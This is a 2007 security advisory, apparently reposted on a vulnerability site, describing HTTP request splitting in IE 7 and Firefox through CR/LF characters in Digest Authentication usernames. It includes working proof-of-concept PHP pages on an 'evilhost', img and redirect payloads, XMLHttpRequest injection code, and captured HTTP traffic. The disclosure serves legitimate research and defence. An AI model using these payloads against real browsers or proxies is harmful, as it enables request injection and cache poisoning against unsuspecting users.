IE 7 and Firefox Browsers Digest Authentication Request Splitting

Risk: Medium
Local: No
Remote: Yes

Title IE 7 and Firefox Browsers Digest Authentication Request Splitting Systems Affected Internet Explorer 7.0.5730.11 FF Severity Medium Vendor & Advisory Authors Stefano `Wisec` Di Paola (stefano.dipaola (at) wisec (dot) it [email concealed]) Discovery Date 20070213 Release Date 20070425 I) Short description Firefox and Internet Explorer are prone to Http Request Splitting when Digest Authentication occurs. If anyone wants to know about HTTP Request Splitting, HTTP Request Splitting attacks are described in various papers and advisories: 1. 2. 3. 4. (About Auto Injection with Req.Split.) II) Long description As explained in Rfc2617 ( Digest Authentication is a more secure way to exchange user credentials. Rfc uses the following example: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- The first time the client requests the document, no Authorization header is sent, so the server responds with: HTTP/1.1 401 Unauthorized WWW-Authenticate: Digest realm="testrealm (at) host (dot) com [email concealed]", qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41" The client may prompt the user for the username and password, after which it will respond with a new request, including the following Authorization header: Authorization: Digest username="Mufasa", realm="testrealm (at) host (dot) com [email concealed]", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/dir/index.html", qop=auth, nc=00000001, cnonce="0a4f113b", response="6629fae49393a05397450978507c4ef1", opaque="5ccc069c403ebaf9f0171e9517f40e41" --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- So there's a response by the client (browser) with username in clear. There are two ways to send credentials in html/javascript: XMLHttpRequest("GET","page",async, "user","pass"); And with img/iframes or related: <img src="http://user:pass@host/paget"> But what if the username contains rn or urlencoded %0d%0a? Let's use an Evil page like this: --8<-- http://evilhost/req.php --8<--8<--8<--8<--8<--8<--8<--8<--8<-- <?php header('Set-Cookie: PHPSESSID=6555'); if((int)intval($_COOKIE['PHPSESSID']) !== 6555){ header('HTTP/1.0 401 Authorization Required"); header('WWW-Authenticate: Digest realm="1 (at) example (dot) com [email concealed]", qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",opaque="5ccc069c403ebaf9f0171 e9517f40e41"'); header('Proxy-Connection: keep-alive'); } else { // header("Set-Cookie: PHPSESSID=0"); } header('Connection: keep-alive'); ?> <html><head> <meta http-equiv='Connection' content="keep-alive"></head> <body><script> // Some Printing in order to show document DOM properties // in the poisoned page for(var i in document) document.write(i+' '+eval('document.'+i)+'<br>'); </script> </body> </html> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Which asks for a digest authentication only once. III) Direct URL Authentication Let's try it with Firefox: <img id="d" src="http://user%0aname:pp@evilhost/req.php"> Let's see what happens after the first request: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- HTTP/1.1 401 Authorization Required Set-Cookie: PHPSESSID=6555 WWW-Authenticate: Digest realm="1 (at) example (dot) com [email concealed]", qop="auth,auth-int",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",opaque="5 ccc069c403ebaf9f0171e9517f40e41" Proxy-Connection: keep-alive Connection: keep-alive, Keep-Alive Content-Length: 146 Keep-Alive: timeout=15, max=100 Content-Type: text/html; charset=UTF-8 ... --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- and then Firefox resend its request: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- GET req.php HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv: Gecko/20060601 Firefox/ (Ubuntu-edgy) Keep-Alive: 300 Connection: keep-alive Authorization: Digest username="user name", realm="1 (at) example (dot) com [email concealed]", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/req.php", response="e398c5c7583b4ca115978c486bb766f8", opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=00000001, cnonce="58e1c23271698745" Cookie: PHPSESSID=6555 --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Everyone can see there's a splitting where the %0a was. The rest of the story is straightforward, an attacker could inject a second request, and in presence of a proxy (about 2 million people use it), a request splitting attack could be accomplished. IV) Firefox Add-On A redirection could be used: <img src="http://evilhost/redir.php"> With redir.php : <?php header("Location: http://user%0aname:ds@avilhost/req.php"); ?> Or by using various redirectors around the web. Note: Internet Explorer 7 is not vulnerable with imgs nor with other direct requests. V) XMLHttpRequest Authentication IE 7 and Firefox are both vulnerable. Let's use a standard request with XMLHttpRequest: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- x=new XMLHttpRequest();"POST","req.php?",false,"userrnname","pass"); x.setRequestHeader("Proxy-Connection","keep-alive"); x.onreadystatechange=function (){ if (x.readyState == 4){ } } // The payload with a request to a page with evil content x.send("RequestPayload"); --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- This will result in a similar splitting like the one with images tags. What you could do with these splittings? A lot, one for all is that in presence of a proxy, local cache could be poisoned. But for some more attack have a look at references. Note: there is some difference between IE and Firefox, but i'll let you as homework CREDIT ------ Stefano di Paola is credited with the discovery of this vulnerability. LEGAL NOTICES -------------- Copyright (c) 2007 Stefano di Paola Note: this exploit is DUAL LICENSED, 1. if you'll use it for personal and non-profit purposes you can apply GPL v2 and above. 2. In the case you plain to: a. use our code in any commercial context b. implement this code in your non-GPL application c. use this code during a Penetration Test d. make any profit from it you need to contact me in order to obtain a _commercial license_. For more Informations about Dual Licensing: Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without my express written consense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. -- ...oOOo...oOOo.... Stefano Di Paola Software & Security Engineer Web: .................. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (GNU/Linux) iD8DBQBGL5HWfSCEH5yFF2MRAgVfAJ47gkj/Yw0HFSzizk4Hi+AWe5aiQgCbBfTQ Pyi025+kLyUB6oT1919PDi4= =cwhV -----END PGP SIGNATURE-----

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024,


Back to Top